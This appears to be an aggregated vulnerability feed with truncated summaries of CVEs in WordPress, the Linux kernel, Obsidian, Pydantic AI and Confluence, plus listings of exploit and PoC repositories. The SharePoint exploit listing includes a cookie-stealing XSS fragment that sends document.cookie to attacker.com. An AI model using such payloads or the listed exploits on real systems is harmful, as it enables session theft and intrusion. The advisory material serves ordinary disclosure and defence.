CVE-2026-105436

The MainWP Child WordPress plugin (versions 6.2.1 and below ) is vulnerable to a Deserialization of Untrusted Data vulnerability. This flaw allows for Object Injection , which can lead to significant impacts on confidentiality, integrity, and availability. No specific remediation or exploit detai...

CVE-2026-105436 WordPress MainWP Child plugin <= 6.2.1 - Deserialization of untrusted data vulnerability

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1...

Security Bulletin: Multiple Vulnerabilities in IBM Java Runtime affecting Tivoli Netcool/OMNIbus

Summary Vulnerabilities in IBM® Runtime Environment Java™ Technology Edition, Version 8 that is used by Tivoli Netcool/OMNIbus have been addressed. Vulnerability Details CVEID:CVE-2026-47057 DESCRIPTION: Easily exploitable vulnerability allows unauthenticated attacker with network access via...

kernel: ipv6: fix use-after-free in ip6_finish_output2()

A flaw was found in the Linux kernel's IPv6 networking stack. A use-after-free vulnerability exists in the ip6finishoutput2 function, where a cached pointer to the IPv6 destination address can become stale after memory reallocation. An attacker could potentially exploit this to leak sensitive...

kernel: gfs2: Fix slab-use-after-free in qd_put

A flaw was found in the Linux kernel's GFS2 file system. During filesystem shutdown, quota data objects were freed without being properly removed from the Least Recently Used LRU list. This oversight could lead to a use-after-free vulnerability, where the system attempts to access memory that has...

kernel: nvme-tcp: reject a read that transferred too few bytes

A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...

kernel: ipv6: rpl: fix hdrlen overflow in ipv6_rpl_srh_decompress()

A flaw was found in the Linux kernel's IPv6 Routing Protocol for Low-Power and Lossy Networks RPL segment routing header SRH decompression function, ipv6rplsrhdecompress. An integer overflow occurs when processing a specially crafted IPv6 packet, causing the header length calculation to truncate...

Exploit-CVE-2023-22515

CVE-2023-22515 익스플로잇 CVE-2023-22515를 위한 간단한 bash 스크립트 익스플로잇입니다. 정보 Confluence Data Center 및 Server 인스턴스에는 손상된 접근 제어 취약점CVE-2023-22515이 존재하며, 공격자가 승인되지 않은 Confluence 관리자 계정을 생성하고 Confluence 인스턴스에 접근할 수 있습니다. 영향을 받는 버전 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.1.0 8.1.1 8.1.3 8.1.4 8.2.0 8.2.1 8.2.2 8.2.3...

CVE-2026-32201-exploit

Обзор Python-эксплойт для CVE-2026-32201 — некорректная проверка входных данных в Microsoft SharePoint Server, позволяющая неаутентифицированную сетевую подмену C:L/I:L. Затронуты: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

CVE-2026-39047

PrintHack - Инструмент для тестирования безопасности принтеров | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ : Этот инструмент предназначен только для легитимного тестирования безопасности и образовательных целей. Используйте ответственно и только на системах,...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Confluence Data Center 및 Confluence Server의 RCE원격 코드 실행 취약점 PoC 참고 자료 CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server | Atlassian Support | Atlassian Documentation CONFSERVER-93833 RCE Remote...

CVE-2025-54957

Dolby 통합 디코더 CVE-2025-54957 POC Dolby의 DDPlus 통합 디코더가 파일을 처리할 때, evolution 데이터가 처리되는 과정에서 범위를 벗어난 쓰기out of bounds write가 발생할 수 있습니다. 디코더는 evolution 정보를 더 큰 구조체에 포함된 크고 힙과 유사한 연속 버퍼에 기록하는데, 한 번의 쓰기에 대한 길이 계산이 정수 래핑integer wrap으로 인해 오버플로될 수 있습니다. 이로 인해 '할당된allocated' 버퍼가 너무 작아지고, 이후 쓰기에 대한 범위 초과 검사...

CVE-2026-104077

Obsidian Desktop versions before 1.14.0 are vulnerable to Remote Code Execution (RCE) via the Slides core plugin . The root cause is insufficient sanitization of the data-background-iframe attribute in Markdown notes, which allows attackers to bypass DOMPurify . This vulnerability is exploited wh...

EUVD-2026-95100

Obsidian Desktop before 1.14.0 contains a remote code execution vulnerability that allows attackers to craft malicious Markdown notes exploiting insufficient sanitization of the data-background-iframe attribute, which bypasses DOMPurify and is processed by the bundled Reveal.js 4.3.1 within the...

CVE-2023-49339

Отчет об уязвимости CVE-2023-49339: система Banner от Ellucian Введение В этом документе описывается критическая уязвимость безопасности, обнаруженная в системе Banner от Ellucian, особенно в версии 9.17 и более ранних версиях. Уязвимость была выявлена в системах, используемых различными...

CVE-2026-107292 Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header

Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...

EUVD-2026-95099

Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...

CVE-2026-107292

The Pydantic AI Python agent framework is vulnerable in versions 1.34.0 through 2.30.0 due to a lack of Host header validation in the Agent.to_web() and clai web development chat servers. An attacker can leverage DNS rebinding from a malicious website to bypass Origin checks and CSRF tokens , acc...

CVE-2026-107292 Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header

Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...

CVE-2025-61777

CVE-2025-61777 1. Несанкционированная модификация шаблонов значков на FlagforgeCTF CVE-2025-61777 Краткое описание Приложение Flagforge https://flagforge.xyz раскрывает критические уязвимости в своих административных API-эндпоинтах, а именно /api/admin/badge-templates GET и...